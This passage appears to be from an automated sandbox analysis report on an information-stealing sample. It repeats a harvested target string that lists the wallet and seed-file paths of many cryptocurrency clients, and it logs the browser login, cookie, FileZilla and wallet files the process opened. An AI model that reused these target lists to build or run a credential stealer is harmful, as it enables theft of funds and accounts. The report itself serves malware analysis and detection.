Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000000.1662962002.0000000000A22000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: sabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
